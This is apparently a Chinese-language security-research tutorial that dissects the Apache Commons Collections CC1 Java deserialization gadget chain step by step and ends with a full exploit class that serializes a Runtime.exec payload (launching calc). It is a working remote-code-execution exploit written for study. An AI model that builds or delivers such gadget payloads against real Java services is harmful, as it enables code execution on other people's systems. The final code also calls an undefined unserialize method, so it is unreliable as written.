前言

CC1很重要,需要去深挖。

分析

漏洞点在于InvokerTransformer类的transform方法。可以调用该函数,以反射的形式调用任意方法,造成RCE。其中input是传进来的object。

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
            //...略
        }
    }

而iMethodName, iParamTypes, iArgs这三个参数是在构造方法中被赋值。

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

可以看到该构造函数是可以实例化的,而transform也是public可以被对象调用。我们通过InvokerTransformer弹计算器。

    public static void main(String[] args) throws IOException {
        Runtime r=Runtime.getRuntime();//Runtime不是可序列化类,因此后续需要通过反射调用。
        new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"}).transform(r);
    }

而接下来我们要找哪个方法调用了InvokerTransformer#transform,通过IDEA的Find usages可以找到21处调用,接下来看transformedMap#checksetValue,protected类型。

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

而valueTransformer是在构造方法中赋值。可以看到构造方法也是protected类型,因此还要通过类中方法调用。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

很容易发现InvokerTransformer#decorate进行了实例化,并且是public static类型。为了调用InvokerTransformer#transform,要令valueTransformer=new InvokerTransformer()

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

decorate就是为了给map装饰上key和value,那么接下来我们就要找哪里调用checksetValue了。只有1处调用:AbstractInputCheckedMapDecorator.MapEntry#setValue

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

parent是通过protected类型的构造方法赋值,**parent要赋值new TransformedMap()**。

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
    super(entry);
    this.parent = parent;
}

接下来要找哪里调用了setValue方法。首先我们要知道遍历Map可以通过Map.Entry进行遍历,而其中有entry.setValue方法。

那么如何调用AbstractInputCheckedMapDecorator.MapEntry的setValue方法?

之前我们调用了decorate方法实例化TransformedMap,而TransformedMap的父类正是AbstractInputCheckedMapDecorator,如果我们遍历TransformedMap类型的Map,那么自己没有setValue方法自然就调用了父类的setValue方法,因此我们遍历TransformedMap这个类型的Map就可以了。

还要注意一点,遍历Map要保证Map不为空,不然都进不去for循环自然调用不了setValue方法。

此时的exp:

    public static void main(String[] args) throws IOException {
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"});
        HashMap map=new HashMap();
        map.put("key","value");
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);//debug调试,setValue的参数正是最后传到InvokerTransformer#transform的input,因此这里就是赋值Runtime的实例化。
        }

接下来找谁调用了setValue,我们发现AnnotationInvocationHandler的readobject直接就调用了setValue。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        //...略
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

观察该类的构造方法为default,因此我们只能通过反射来调用。

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);

反射调用后,是不是觉得可以尝试反序列化测试了?

注意前面的注释,Runtime类是不可以被序列化的,因此我们不能通过Runtime.getRuntime()来进行序列化,因此我们也需要反射来调用。

        Method method= (Method) new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}).transform(Runtime.class);
        Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}).transform(method);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

如果仔细调试或者阅读源码就会发现仅仅凭借InvokerTransformer是走不通的,因为可以看到checkSetValue只调用了一次transform,并且AnnotationInvocationHandler#readobject给Map赋值是写死为new AnnotationTypeMismatchExceptionProxy的,而我们要传进来的是Runtime.class(因为要RCE),所以你没办法通过InvokerTransforme直接反射RCE。

而我们发现,Transformer的实现有这重要的三种:

  1. ConstantTransformer –> 把⼀个对象转换为常量
  2. InvokerTransformer –> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
  3. ChainedTransformer –>执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来

因此,我们就可以通过ChainedTransformer达到调用多次transform方法的目的,该函数是把前一个的输出当作当前的transform方法的输入执行。并且我们可以看到数组第一个元素为new ConstantTransformer(Runtime.class),该类把⼀个对象转换为常量,也就是说我们传进去Runtime.class,他就会返回Runtime.class,而不是annotationTypeMismatchExceptionProxy,这也就绕过了之前提到写死的参数。

        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer c=new ChainedTransformer(transformers);
        c.transform(Runtime.class);

回顾checkSetValue。

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

回顾AnnotationInvocationHandler的readobject关键代码。

                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
调试+链子

首先反序列化执行AnnotationInvocationHandler#readobject,调用了setValue方法,并且写死了传入的参数。

image-20220818222425288

接着调用了AbstractInputCheckedMapDecorator#setValue,可以看到parent为TransformedMap,这也是为什么要Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,c)的原因,就是为了调用他的父类AbstractInputCheckedMapDecorator#setValue方法

image-20220818223127855

继续跟进,此时value还是写死的参数。

image-20220818224244527

进入到链式调用transform

image-20220818224356049

单步执行。此时会执行谁的transform呢?

image-20220818224442142

跟进去看看,当然是执行ConstantTransformer的transform啦。因为我们链式调用数组的第一个元素就是ConstantTransformer,因此他直接返回构造函数构造好的iConstant,也就是Runtime.class!!覆盖了写死的值。

image-20220818224550799

之后就把ConstantTransformer#transform的输出Runtime.class传给下一个transform的input,也就是invoke getRuntime方法从而获取实例,接着在通过获取到的示例执行exec方法即可RCE。

image-20220818225352146

链子比较短,但是坑点比较多。

AnnotationInvocationHandler#readobject
AbstractInputCheckedMapDecorator.MapEntry#setValue
TransformedMap#checksetValue
InvokerTransformer#transform
exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer c=new ChainedTransformer(transformers);
        HashMap map=new HashMap();
        map.put("value","value");
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,c);

        Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor =cc.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o=annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize();
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

}
参考链接
  1. https://space.bilibili.com/2142877265?spm_id_from=333.337.0.0 白日梦组长